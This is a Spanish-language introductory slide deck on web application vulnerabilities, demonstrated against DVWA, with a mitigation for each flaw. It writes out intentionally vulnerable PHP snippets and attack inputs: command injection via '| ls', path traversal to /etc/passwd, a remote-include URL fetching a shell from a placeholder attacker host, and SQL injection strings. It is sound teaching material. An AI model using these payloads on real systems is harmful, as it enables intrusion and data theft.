vulnerabilidades en aplicaciones web

Post on 09-Jul-2015

971 Views

Category:

Documents

3 Downloads

Preview:

Click to see full reader

DESCRIPTION

Presentación de iniciación en las principales vulnerabilidades presentes de las aplicaciones web.

TRANSCRIPT

VULNERABILIDADES EN APLICACIONES WEB

www.realtic.es

¿DE QUE VA ESTO?

¿POR QUÉ SERGURIDAD EN LA WEB?

¿QUÉ VULNERABILIDADES VAMOS A VER?

•OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)

DEMO

Damn Vulnerable Web Application (DVWA)

www.dvwa.co.uk

http://www.dvwa.co.uk/DVWA-1.0.7.iso

OS COMMANDING Ataque que permite la ejecución no autorizada de comandos en el sistema operativo del servidor web

<?php passthru("/bin/ping " . $_GET[‘IP’]); ?>

Podemos realizar este ataque ingresando “;” o “|” (dependiendo del sistema operativo) IP = 192.168.1.1 | ls

SOLUCIÓN: Filtrar correctamente los parámetros recibidos por el cliente.

OS COMMANDING

DEMO

LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

/vulnerable.php?pagina=../../../../../../../../etc/passwd%00

REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen

REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen

http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/

REMOTE FILE INCLUSION

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

/vulnerable.php?pagina=http://www.google.com? /vulnerable.php?pagina=http://atacante.com/shell.txt?

Ejemplo:

Soluciones: •Filtrar los valores recibidos por el usuario $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);

IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!!

$pagina = str_replace('../', '', $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!

• Almacenar las distintas opciones válidas en un array y comprobar si se encuentra en dicho array $paginas = array('principal', ‘blog', 'contacto'); if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas))

•Desactivar allow_url_include y allow_url_fopen •No confiar nunca en el usuario, y, por lo tanto, no incluir nada que un usuario pueda modificar.

LOCAL FILE INCLUSION &

REMOTE FILE INCLUSION

DEMO

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

Mostraría en este caso, admin

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;

También mostraría admin

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;

/vulnerable.php?id=1 and 1=2 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2;

No mostraría nada

SQL INJECTION & BSQL INJECTION Soluciones:

•Validar y filtrar los datos de entrada, en particular, los caracteres especiales. •Es muy recomendable utilizar prepared statements para todas las consultas SQL •Ocultar los mensajes explícitos de error que muestren las consultas. •Restringir al mínimo los privilegios de las cuentas que se usan.

SQL INJECTION &

BLIND SQL INJECTION

DEMO

UNRESTRICTED FILE UPLOAD Esta vulnerabilidad se produce cuando en una aplicación que contiene un “file upload” no se hace una validación estricta de los tipos de ficheros que se pueden subir, provocando que un atacante pueda ejecutar código en el servidor o tomar el control del mismo.

Soluciones: - Denegar permiso de ejecución en el directorio donde se suben los archivos. - Verificar MIME-TYPE. - Verificar (correctamente) la extensión del archivo.

UNRESTRICTED FILE UPLOAD

DEMO

CROSS-SITE SCRIPTING (XSS) Fallo que se produce cuando no se valida la entrada de datos desde el cliente, provocando que se pueda inyectar código HTML en el resultado de la página.

Existen 2 tipos de ataque XSS: •No persistente •Persistente

Por este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso.

htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA

CROSS-SITE SCRIPTING (XSS)

DEMO

¿Preguntas?

¡¡GRACIAS!!

top related